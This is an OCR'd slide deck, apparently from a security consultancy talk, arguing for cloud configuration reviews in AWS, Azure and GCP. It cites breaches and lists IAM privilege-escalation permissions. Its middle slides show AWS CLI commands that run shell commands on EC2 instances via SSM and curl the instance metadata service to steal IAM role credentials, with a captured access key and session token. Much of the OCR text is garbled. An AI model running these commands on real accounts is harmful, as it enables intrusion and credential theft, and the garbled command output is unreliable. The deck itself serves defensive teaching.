Cloud configuration review — the
new internal network pentest
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Cloud versus internal network

& Big cloud providers have the capabilities to hold your entire on-premises infra in their
environment

¢ Using Cloud services i1s a good way to segregate certain resources from your internal
network (e.g., public facing web applications)

& However big organizations adapt a hybrid approach

¢ The internal network is interconnected with the cloud resources
& Orgs do not have the same “assume breach” attitude towards testing for Cloud

¢ Shared Responsability model: services are secure, the way they are used 1s up to you
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“I’'m using Cloud so I'm secure”

¢ Facebook data breach 2021

© Public S3 bucket managed by two 3™ parties
¢ 144 GB of data and a database with plaintext passwords for 22.000 accounts
& Issue reported in January to AWS and 3™ party

& Issue solved in April



“I’'m using Cloud so I'm secure”

& Tesla breach 2018

& GCP hosted Kubernetes admin portal exposed to the internet
& Inside were access credentials to AWS

¢ Hackers installed crypto mining in AWS



Web pentest or cloud config review?

Not identify vulnerabilities within the web
application/EC2 instance

. Configuration review will: Will identify misconfigurations that would
mitigate possible vulnerabilities within the web

app

@ Web pentest will: Do the exact opposite
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Web pentest or cloud config review?
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Approach

& Read-only access
® Web console and CLI access

¢ Discovery & Enumeration

& ScoutSuite - https://github.com/nccgroup/ScoutSuite (AWS, Azure, GCP)

& Also provides various findings and correlates them with CIS benchmark items

¢ Manual (CLI, Web Console, Cloud specific services like AWS Resource Groups and Tags)

¢ Configuration review


https://github.com/nccgroup/ScoutSuite
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What you should look for

¢ Anything that can affect directly the CIA triad (non-repudiation included)

& Configurations that can improve the environment’s security and mitigate a breach
& Violation of least privilege principle

& Privilege escalation vectors

& Architectural flaws

@

Cross-tenant analysis

& Most organizations are using segregation services like AWS Organizations, Azure Tenants or
GCP Folders



How bad can 1t be?
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RCE as admin on any EC2 1nstance

& Found with manual testing
& Exfiltrated credentials via Metadata API

& EC2 instance with AmazonSSMFullAccess
attached

& ssm:SendCommand included here

& We can run system commands as root or nt
authority\system on any EC2 instance

& This abuses a built-in feature within AWS

Amazon3SMFUllAccess

AmazonSSMFullAccess

Provides full access to Amazon SSM.
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RCE as admin on any EC2 1nstance

& The target EC2 instance needs two things:
& SSM Agent installed (true by default for most of the images in AWS)

¢ Permissions to communicate with the SSM (AWS Systems Manager) service
¢ The Send Command feature is essentially a two-step shell

& First step, launch a command with AW S-RunPowerShellScript or AWS-RunShellScript:

& aws ssm send-command --instance-ids $instance_id --document-name “AWS-RunShellScript” --parameters
‘commands=whoami”

& Second step, retrieve the output
& aws ssm list-command-invocations --command-id $command_id —details

& This can be executed from the internet even if the EC2 instance doesn’t allow communication with
your IP



RCE as admin on any EC2 instance

PS5 D:\> aws ssm send-command --instance-ids i-85389285ec7ce8lU56 ——document-name "AWS-RunShellScript" --parameters commands=id | Select-String CommandID
LR . "fldcbbe@-13f8-u9ad-beuc-4671u6451ecl"”,
PS D:\> aws ssm list-command-invocations —-command-id fldcbbe®-13f8-U9ad-beuc-467146U451lecl —-details | Select-String '"Output"’
EMEME: "uid=8(root) gid=e(root) groups=8(root)\n",

PS D:\> |
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RCE as admin on any EC2 1nstance

& Post exploitation?
& Similar to internal pentest, except you’re already admin everywhere

& A particular case:

¢ Exfiltrate access credentials of other EC2 instances in other to elevate privileges in AWS
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(— N curl http://169.254 169 254/latest/meta-data/iam/security-credentials

W Get output with role name

ot

curl hitp://169.254 169 254/latest/meta-datafiam/security-credentials/role-name

e i Get output with access credentials

Attacker Run Command feature via AWS CLI
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PS D:\> aws ssm send-command —-instance-ids i-85389285ecTce8lU56

»» ——document-name "AWS-RunShellScript" *

>> ——parameters commands="curl http://169.254.169.25U4/latest/meta-data/iam/security-credentials/" *
>> | Select-String CommandId

n[ e ebte" : "2808c9eea-3eea-Ub6b-a25d-Uaf5u89af662",

PS D:\> aws ssm list-command-invocations ——command-id 2808c%9eea-3eea-Ub6b-a25d-Uaf5u89af662 ——details | Select-String '"Output"’

:l "ssm—Ffull-access-rolepn—————— ERROR—————— \n % Total % Received % Xferd Average Speed Time Time
Time Current\n Dload Up

load Total Spent Left Speed\n\r @ 2] 2] 2] 2] 2] 2] B —:—1— ——1——i1—— ——iI——1— a\rlee 20 168 P

8 8 @ 8206 8 ——i——1-— ——1—-1-— —-:——:-— 18888\n",



PS D:\> aws ssm send-command —-instance-ids i-85389285ecTce8lU56

»>» ——document-name "AWS-RunShellScript" *
»»> —-—-parameters cummandszpcurl http:fflﬁg.25u.159.2ﬁuf1atestfmeta—datafiamfsecurity—:redentialsf“|‘
>> | Select-String CommandId

[ LLEULEL" : "280c9eea-3eea-Ub6b-a25d-Uaf5ue9af662",

PS D:\> aws ssm list-command-invocations ——command-id 2808c%9eea-3eea-Ub6b-a25d-Uaf5u89af662 ——details | Select-String '"Output"’

"Output"h “ssm—Full—access—ruleLn —————————— ERROR-—----- \n % Total % Received % Xferd Average Speed Time Time
Time Current\n Dload Up

load Total Spent Left Speed\n\r @ 2] 2] 2] 2] 2] 2] B —:—1— ——1——i1—— ——iI——1— a\rlee 20 168 P
2] 2] 2] 8206 8 —:—:—— ——:——:—— ——:——:—— 188608\n",

PS D:\> aws ssm send-command —-instance-ids i-85389285ecTce8lU56

»>» ——document-name "AWS-RunShellScript" *
»»> —-—-parameters cummands:rcurl http://169.254.169.254/latest/meta-data/iam/security—-credentials/ssm—full-access-role"

>> | Select-String CommandZd

[ LLEULEL" : "f261a587-4809-4528-b699-19135e68795d",

PS D:\> aws ssm list-command-invocations ——command-id f261a587-4809-4528-b699-19135e68795d ——details | Select-String '"Output"’

RO : "{\n \"Code\" : \"Success\",\n \"LastUpdated\" : \"2022-10-13T11:44:58Z\",\n \"Type\" : \"AWS-HMAC\",\n

\"AccessKeyId\" : \"ASIATYW2S63KNRSHUMPA\",\n \"SecretAccessK
A H“IzSizTUEﬂBUILXEI+59QXYHHUSDHRBHEbHDWEGIGH“,Hn \"Token\" : \"IQoJdb3JpZ2luX2VjENz//////////WEaACXVzLWVhc3QtMSIGMEQCIDF jmKSSEs581iQQK
PO9suzTws jsHUyVSCtZaNwUrCZfraiAlFp9da2+1kNsUr38L30vQmJI1X+7xEpZ6DTny W]
dzvCrWeAil//////////8BEAAADDI1OTIZMDIWMTULNIIMjpBQZHpFUezS9gh+KgqoELISAKM/bTfacGipvmulCArzhdhtPe3uplix9IuNlePULnfdfSO+K+INM5ESiSybS951zesL7
bhPUYGUC/hV1Zn1l+1v55AIEqQMTBmzPmxYmN7RNXhJh/7HKHGAeVUOPQskKQFhfI2@mnyDR
EyﬂgtlﬁDBHQUﬂgQSETEEAdWTSZPBDGnlLDYdthIHgHtBjtEQTElﬂ+EIuanWlH3d3qﬁnHEW+BBDHHUSDHIthXUItuEE1UduEGBHﬁqu599tIrk5U23SQEUHLEEHIhunthBhIAu
AntQZEpXPUI®Fbgap6PHtZ8YTjZEQrvdaxriCsF88eH+mA21blEBKgopEKPyhHeoDM1lOzy
0iIy/sRWS32J8ntb8utVX2XHowxiZiTLksyswMmBKPTJIZLBKQVF5aCRKA01RFpD7YkdeFTULtYOtStko2Kth7Lj/1iBqt1l9aiplSiAQrwKLNUy9K5RNuZMHxbTFIg6dqlWwnDsbtGoVs
Gwl0qGc90+B+mLXwZUsalG2YL9ALtDDSOZLomKHCOPukbMEoJMXYK20js18ZUaPGEpTNGmMO
iLF1TofXGTJ7P5yVamin,/Dio01DYsh+nI+uUKzQPuUk5u3/ukh2IQnjAfXDNLQ7EMY82/+Z]/z3INq8R1/nU3M759pWop/SCUGTUKZzbNtiFKdoN810glUrSCIpOBiMEWWWY qKxmgXmVD
BzkyAl9iUAn2CvGU1SEBHLxbxNDvUyB+9/KAHPpKIXAfgwe/SfmgY6qgFEV2EPds+BgVsSw/p
0cxDLYSBRUGCH+IVVPVFUj+Tua2kecqxMgtIookut®bH1l/7gIUtKTOUMATAKvtYyUtt8MSAChppFXKYZp3bJiXQCyl/a/MuUNseZTIdhVk8nvAT8pQguX9Vg2NMISvvefrmzkyZFbWro
viFPyYeldprs2Ikz/YGPO1XAXi3/J1dNs1lgA/LRAEaYeeM1BP2CdM+WLSB6LFZVQaJwLzO
qGIg==\",\n \"Expiration\" : \"20822-10-13T18:20:47Z\"\n}\n——————- ERROR—————— \n % Total % Received % Xferd Average Speed Time

Time Time Current\n Dload Uplo




Multiple privesc vectors 1n a single policy

© @ © QOF OOl SOOI NEES

lambda:UpdateFunctionConfiguration
1am:CreatePolicyVersion ®
1am:SetDefaultPolicy Version

iam:PassRole + ec2:Runlnstances

1am:CreateAccessKey

O 1T OO SRS

1am:CreateLoginProfile

iam:UpdateLoginProfile

@

1am:AttachUserPolicy
1am:AttachGroupPolicy
1am:AttachRolePolicy

1am:AttachRolePolicy
1am:PutUserPolicy
iam:PutGroupPolicy
1am:PutRolePolicy
iam:AddUserToGroup

1am:PassRole + lambda:CreateFunction +
lambda:InvokeFunction

1am:PassRole + lambda:CreateFunction +
lambda:AddPermission

lambda:UpdateFunctionCode



Weak password policy

Found with automation testing

Configuration exposes users to password L s [sws T3 GEEaeConnT-passwOrd=poTIcy
attacks {

"PasswordPolicv": {
"MinimumPasswordLength®: 6,
"RequireSymbols”: false,
"RequireNumbers”: false,
"RequireUppercaseCharacters”: false,
"RequirelowercaseCharacters”: false,
"AllowUsersToChangePassword”: true,
"ExpirePasswords": false,
"HardExpiry": false



Missing credentials management
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Automation vs Manual configuration review

AUTOMATION TESTING

& Fast
& Mostly based on “one command” checks

& Especially useful when a service contains a
high number of resources

& Might provide false positives

& Does not cover cross-account analysis

S & © @

MANUAL TESTING

Takes more time
Identifies complex misconfigurations
Identifies logic issues

Identifies weak points that might impose a
security risk

Good for cross-account analysis



1. Exfilirate access credentials Il

Web application in EC2

2. Configure credentials

=

3. Exfiltrate credentials from second instance
AWS CLI Second EC2 instance

4 Escalale Privileges
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> A SSRF might not be identified

> No direct way to identify what
version of the metadata service
1S 1n use

> The write permission will not be
enumerate

Real attacker

More time available to attack the
web application

Will most likely not limit itself to
only read permissions

Configuration review



DEMO

Web application penetration

testing Real attacker Configuration review
> A SSRF might not be identified » More time available to attack the > Quickly identify the version of
o7 s R iy e web application the metadata service in use
version of the metadata service > Will most likely not limit itself to > In most of the cases is easy to
1S in use only read permissions identify privilege escalation

: . : vectors
> The write permission will not be

enumerate
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Final thoughts

¢ Depending on the environment’s complexity, the breach impact can be similar as in an
internal network

& Performing configuration reviews regularly can decrease the risk of compromise and the
impact of a breach

¢ Automation testing in not enough for covering complex attack vectors

& Penetration testing of cloud-based applications doesn’t guarantee the identification of cloud
misconfigurations

& Hardening the environment’s configuration can mitigate some vulnerabilities from exposed
services
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https://securitycafe.ro/

